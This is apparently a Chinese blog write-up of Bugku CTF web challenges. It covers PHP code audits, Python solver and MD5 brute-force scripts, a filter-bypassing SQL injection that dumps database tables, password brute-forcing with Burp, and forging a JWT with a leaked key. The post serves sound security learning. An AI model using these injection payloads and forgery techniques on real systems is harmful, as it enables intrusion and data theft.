CTF论剑场(web) write up 未完待续

最新推荐文章于 2023-04-17 23:37:54 发布
最新推荐文章于 2023-04-17 23:37:54 发布
阅读量444 收藏 2
点赞数 1
分类专栏： bugku 文章标签： 论剑场 write up
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_45106794/article/details/102986981
版权

CTF论剑场(web) write up

web26

直接给你一串代码

 <?php
$num=$_GET['num'];
$str=$_GET['str'];
show_source(__FILE__);
if (isset($num)&&isset($str)) {
    if (preg_match('/\d+/sD',$str)) {
        echo "vagetable hhhh";
        exit();
    }
    $result=is_numeric($num) and is_numeric($str);
    if ($result) {
        include "flag.php";
        echo "$flag";
    }
    else{
        echo "vagetablessssss";
    }
}
?>

preg_match()函数是用于正则表达式的匹配的
is_numeric() 函数用于检测变量是否为数字或数字字符串
\d 基本是用来匹配数字
所以num的输入得是数字，但是str不能是数字
所以构造playload:num=1&str=‘a’
在这里插入图片描述

web1

在这里插入图片描述
又是代码审计的题目
file_get_contents() 函数把整个文件读入一个字符串中。
extract — 从数组中将变量导入到当前的符号表,涉及变量覆盖漏洞(该函数使用数组键名作为变量名，使用数组键值作为变量值。但是当变量中有同名的元素时，该函数默认将原有的值给覆盖掉。这就造成了变量覆盖漏洞。)，
trim — 去除字符串首尾处的空白字符（或者其他字符）。
playload:a=&b=reader

在这里插入图片描述

web9

这关一看，就想到他是要我们用PUT方法提交bugku,就能得到flag
在这里插入图片描述在用base64解码
得到flag{T7l8xs9fc1nct8NviPTbn3fG0dzX9V}

web2

这一关要快速算出复杂的运算，显然不行，只能用python脚本解决
在这里插入图片描述

import requests;
import re;

url = "http://123.206.31.85:10002/";
r = requests.session();
r1 = r.get(url);
r1.encoding = r1.apparent_encoding;
demo = r1.text;
math = str(re.findall("(.*?)</p>",demo))[2:-2];
print(math);
ans = eval(math);
playload = {"result":ans};
res = r.post(url,data=playload);
print(res.text);

在这里插入图片描述

web6

这一关跟你玩心眼
线索就在查看源代码的最底层
在这里插入图片描述
在这里插入图片描述
猜测是密码
在这里插入图片描述

web11

在这里插入图片描述
这一关咋一看真啥都没有，但是看到标题robots,说明是robots协议
在这里插入图片描述
发现一个敏感的页面
在这里插入图片描述
看这样子得提交一个一串字符串，这个字符串用md5加密后前六个字符是240ala,但是刷新后又变得不一样了，看来又得写python脚本了
在这里插入图片描述

import requests;
import re;
import hashlib;

def gettoken(text):
    m1 = hashlib.md5();
    print(m1);
    m1.update(text.encode("utf-8"));
    token = m1.hexdigest();
    return token;
def main():
    for i in range(0,9999999):
        if gettoken(str(i))[0:6]=="28fa6a":
            print(i);
            break;


main()

在这里插入图片描述

web13

在这里插入图片描述
![在这里插入图片描述](https://img-blog.csdnimg.cn/20191109210840709.png

日志审计

打开这个文件，头一件事就是搜索有没有存在flag字符串
结果发现一堆，仔细观察后
在这里插入图片描述
发现每一段最后就是%3D后面，–的前面的数值不一样，只是数值，盲猜是ASCII值，再写一次python脚本

import re;
f = open("/media/reader-l/Data/STUDENT/P1/2.txt");
line = 1;
while line:
    line = f.readline();
    if line != '':
        left = re.search('%3D',line).end();
        right = re.search('--',line).start();
        print(chr(int(line[left:right])),end='');
f.close();

web18

Sql injection
在这里插入图片描述
对该网站一通瞎点，找到注入点
然后通过http://123.206.31.85:10018/list.php?id=1’ 返回错误
和http://123.206.31.85:10018/list.php?id=1’–+ 返回正常,
发现是单引号字符型的
然后正常用union select 1,2,3–+ …
发现union select 到10，回显都不正常用 and , or ,也发现回显不正常。。。
猜测有对这些进行过滤，试试双写绕过
在这里插入图片描述
在这里插入图片描述
成功发现字段数是3
用 -1' ununionion seselectlect 1,database(),user()--+猜测我们想要的东西
在这里插入图片描述

-1' ununionion seselectlect 1,(seselectlect group_concat(table_name) from infoorrmation_schema.tables where table_schema='web18'),3 --+

-1' ununionion seselectlect 1,(seselectlect group_concat(column_name) from infoorrmation_schema.columns where table_name='flag'),3 --+

-1' ununionion seselectlect 1,(seselectlect group_concat(flag) from web18.flag),3 --+

在这里插入图片描述
*

web20*

import re;
import  requests;
import hashlib;
import random;
import time;

def gettoken(text):
    m1 = hashlib.md5();
    print(m1);
    m1.update(text.encode("utf-8"));
    token = m1.hexdigest();
    return  token;


def main():
    r = requests.session();
    urllen = 160;
    url = 'http://123.206.31.85:10020/?key=' + str(gettoken(str(int(time.time())))) + str(random.randint(0, 9));
    while urllen == 160:
        s = r.get(url);
        html = s.text;
        urllen = len(html);
        print(url);
    print(html);

main();

看到这题，话不多说，贴代码
其实这题的动态密文是时间戳的md5加密+一位随机数

web25

这一题一直不懂在考啥。。看了网上的write up,
那些大佬是先用御剑扫了一下，发现有shell.php,那是真正的填写位置，然后那个下载页面，只要把2去掉就能得到正常的回显了，然后把得到的字符串一个一个填写到shell.php试试，就能得到flag了

web3

在这里插入图片描述
看到这页面，我一开始以为是upload的题,结果。。。。不管怎么上传都不行。。。，后来看了一下url，发现怎么那么像文件包含
在这里插入图片描述
结果还真是
关于文件包含漏洞可以看
这里

web4

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
万能秘钥题

web15

在这里插入图片描述
一脸懵逼，index变成了1ndex，把他改回去，再随便提交个cat就过了

web21

看到file_get_contents()以为是文件包含，但是利用了各种姿势都不行，没思路。。。待会看看别人怎么弄的吧

web23

在这里插入图片描述
用御剑扫了下,发现了robots.txt readme.txt login.php 几处敏感页面

在这里插入图片描述
在这里插入图片描述
上面的readme.txt 中发现的admin 123 应该是一个用户的账号和密码，输进去看看
在这里插入图片描述
发现密码应该是修改过了，同时我想把readme.txt中的乱码变成可读的看看
在这里插入图片描述
从密码只支持三位数字，我们可以采用burp 中的爆破模式来解决了
没有三位数字的字典的可以用crunch来生成
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
677这个别的playload长度不一样，可以说就是密码了
在这里插入图片描述

web10

这一关主要了解json web token的知识
具体知识点看这篇文章吧
在这里插入图片描述看到该界面，首先会想到先用弱口令来试试、万能密码、注入啥的，但是题目已经提醒是关于jwt的，所以我们也不啰嗦了
首先用burp转包
在这里插入图片描述发现一个NNVTU23LGEZDG===，先去用base64解下吧，发现不行，有用base32来解
在这里插入图片描述在这里插入图片描述获得账号和密码后成功登入
将user.php去掉看看能不能看到敏感目录
在这里插入图片描述其中有一个L3yx.php.swp的文件，这个可以还原成php的文件的，具体还原方法用 vi -r L3yx.php.swp就行了（linux）在这里插入图片描述在这里插入图片描述具体代码我就不复制了（不知道为啥格式一直不对）
在这里插入图片描述我们可以获得key=L3yx----+++±—
现在我们拿到密钥了，我们可以伪造成L3xy用户登录了
首先拿着我们kk用户的token到jwt.io网站
在这里插入图片描述在这里插入图片描述将我们构造的iat、exp以及account和密钥区改为上图所示，获得新的token,将其复制到burp去访问user.php页面，或得flag
在这里插入图片描述

未完待续

好好学习不好吗？
关注
  • 1
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
ctf web5 练习_CTF练习平台——web15
weixin_34566436的博客
01-12 325
1、web15image这道题的题目已经将源代码给我们了可以看出这是time-based盲注点开链接，我们看到image想到可以尝试各种IP的HTTP头：X-Forwarded-ForClient-IPx-remote-IPx-originating-IPx-remote-addr发现X-Forwarded-For可以伪造image发现注入的语句原封不动的显示在页面中，但如果注入的语句中有逗号，则...
CTF-练习平台 writeup web
热门推荐
heySister
12-20 2万+
bugku Web WriteUp 刚刚接触ctf没多久，做ctf-练习平台上的题目，有些新的题目，在网上没有找到对应的writeup，所以做了之后就想自己写一个，也顺便理理自己的思路。（没有太多经验…可能对有些题目的理解还不深刻…） 签到题 加群在公告里就可以看到flag值了。 Web2 F12，立马就看到flag的值了。 文件上传测试 题目说是...
CTF论剑场-web15
weixin_45650977的博客
11-23 145
思路： 1、查看源码，无用。 2、发现url有问题，正常是index.php而这里是1ndex.php。于是使用御剑扫描后台 3、双击下载下载index.php文件，分析index文件源码: 4、构造payload：
CTF论剑场web题目（持续更新）--WEB15
jiuyongpinyin的博客
07-21 298
web15 首先打开页面随意提交一个变量： 告诉我们不是这里，查看源码没啥有用的，接下来就是后台扫描了： 发现有一个这个后台，进去了是一个能够下载的文件，里面是源码： 根据源码尝试了一波，没做出来，好吧，其实我的代码审计功力极差，然后想到了题目提示的VIM编辑器，但是不知道这个提示有啥用，查了好多资料没查到点上。最后没忍住看了大佬的write up ： 把之前抓到的包进行一下修改，就可以了，这里用到了VIM编辑器的临时文件泄露，又get了一个新姿势： 参考链接：https://blog.csdn.
CTF论剑场web题目（持续更新）--WEB11
jiuyongpinyin的博客
07-18 277
web11 打开页面： 先查看源码，发现没有有用的，然后发现这里有个robots，感觉像是robots.txt，进行登陆尝试： 登陆后发现了这个，当然也可以用后台的扫描工具，是可以直接扫面出来的，接着我们登陆道shell.php上： 我们假设空白处是变量a，这个函数就是告诉我们，变量a的前六位，经过MD5加密后等于后面的那个值，这个时候就属于一个小脚本了，当然我不会，这里贴出大佬的脚本： <?php $i=0; while(true) { $captcha = dechex($i); i
CTF咏春招新赛题目及write up下载
11-28
文件格式为rar，其中收录文章中提到的几个题以及其他我解出来的题建议配合文章食用原文链接：https://blog.csdn.net/qq_27489877/article/details/128086919希望大家在ctf的路上都能越走越远
CTF-Write-up:CTF撰写和信息
03-21
CTF Write-up，即CTF比赛的解题报告，是参赛者在解决完挑战后，为了分享经验、帮助他人理解解题思路而撰写的详细步骤记录。一份优秀的CTF Write-up通常包括以下几个部分： 1. **挑战概述**：简述挑战的主题、目标和...
CTF工具之御剑后台扫描（web）.rar
09-16
【CTF工具之御剑后台扫描（Web）】 在网络安全领域，CTF（Capture The Flag）是一种流行的比赛形式，参赛者通过解决各种安全问题来获取分数。御剑后台扫描工具是专门为CTF比赛设计的一款Web渗透测试工具，主要用于...
ctf web培训资料pdf
10-06
通过url访问靶机web站点，观察页面中的功能点，对可能存在漏洞的页面进行探测。 常见的漏洞特征: SQL注入:www.example.com?id=1 文件包含:www.example.com?page=file1.php 文件上传
CTF工具之WEB.zip
10-07
【标题】：CTF工具之WEB.zip 【正文】： CTF（Capture The Flag）是一项网络安全竞赛，参与者通过解决各种安全挑战来展示他们的技术技能。这个名为“CTF工具之WEB.zip”的压缩包，显然是专门为参与此类比赛的选手...
fo.doc-ctf中misc模块题目资源
08-29
2019年广州大学网络空间先进技术研究院夏令营misc模块fo-dao题目资源
CTF论剑场web题目（持续更新）--WEB18
jiuyongpinyin的博客
07-20 499
web18 首先打开页面随便点点，发现list中像是有注入点： 所以我们进行尝试，发现是字符型注入： 我们尝试一下就基本的有没有被过滤，先尝试 or 1=1，发现没有回显，尝试了大写然后也不行，尝试双写发现成功了： 所以接下来就是使用order by 查看列： 使用联合查询，查询数据库： 发现数据库是web18，接下来查询表： payload: ?id=11' ununionion seselectlect 1,(seselectlect group_concat(table_name) fro
CTF论剑场web题目（持续更新）--WEB8
jiuyongpinyin的博客
07-21 574
web8 这道题本人没有做出来，网上的write up 也都试过了，也都做不出来，如果有做出来的大佬，麻烦给小弟留个言，首先能确定这道题存在.idea的文件泄露，用dirsearch就能扫描出来，然后这里面存在一个www.tar.gz的压缩包： 打开之后是源码，其中updata.php中存在注入（大佬的write up 里是这么写的）： 就在age这里，但是大佬给出的payload无法注入，可能是我的技术还没到家吧。。。 接下来贴出大佬的payload: # 直接回显 (select group_con
[GDOUCTF 2023] ——web方向全Write up
最新发布
Leaf_initial的博客
04-17 2223
魔术方法，然后可以看到__wakeup()中会指向classroom类的hahaha函数，hahaha所需要的变量条件在school类的。把`’ [] " _ {{}} \ .都过滤了但是比较幸运的是可以用{%%}，看了看他的config和self，发现都可以用。test.txt也看过了，里面和/orzorz.php中的内容一样，不过是文档形式，这里不赘述。可以看出这个通过flask框架写的一个网页，通过代码审计我们可以得知，只需要向。所以，双等号是不要求类型相同的，所以我们可以构造payload。
刷题之旅第2站，论剑场web16、web17、web18、web19、web20
cc菜的一批
01-15 1153
web16 此题不会，有待解决。会做的大佬，希望能在评论区指点一下。 题目地址 web17 流量分析，wireshark打开，TCP流追踪得到flag web18 试探过程如下 id=1’ 回显空白，可能是单引号闭合，字符型注入 id=1’ --+ 回显正常，字符型注入 id=1’ and 1=1 --+ 回显空白，可能过滤了and 或者空格 id=1’anandd 1=1 --+ 回显...
CTF论剑场web题目（持续更新）
jiuyongpinyin的博客
07-17 290
web26 打开链接发现如下代码： 其中红色箭头指出变量匹配 [0-9] 一次或多次，会回显那个hhhh 黄色箭头和蓝色箭头指出检测变量是否为数字或者数字字符串，并且当两个变量中包含flag.php的时候，回显flag。 第一个变量其实只是个幌子，关键在第二个变量，所以构造pyload，拿到flag: ...
刷题之旅第1站，论剑场web11、web12、web13、web14、web15
cc菜的一批
01-12 693
题目地址：链接 网站名为robots，那么打开robots.txt 发现shell.php 批量产生md5，碰撞前六位，脚本如下 import hashlib def makemd5(s): return hashlib.md5(s.encode('utf-8')).hexdigest() for i in range(1,99999990): if(makemd5(str(i))[0:6]...
论剑场web6、web7、web8、web9、web10
cc菜的一批
12-30 1141
web6： 以为是sql注入，输入了一下，发现IP被禁止。那么模拟一下请求头127.0.0.1 找了一圈发现，密码是在HTML信息的最下面了。 登录账号admin，密码test123，得到flag web7 注册后随便登录个账号，显示权限不够。 看请求头cookie，发现规律如下： r: 351e766803 d63c7ede8cb1e1c8db5e51c63fd47cff u: ...
CTF_论剑场_web1
Ch_an_ger的博客
09-22 589
这题还是看代码审计， 关于payload的说发有很多说法的有的说这个extract()函数能对已有变量进行值覆盖，但是我自己的解释还是觉得突破点在file_get_contents()函数，这个函数本是用来读取文件的，但是现在读取的是一个字符串，所以这个函数返回到$c的值就为空，所以此时应该传入a参数的值为空来拿到flag ...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值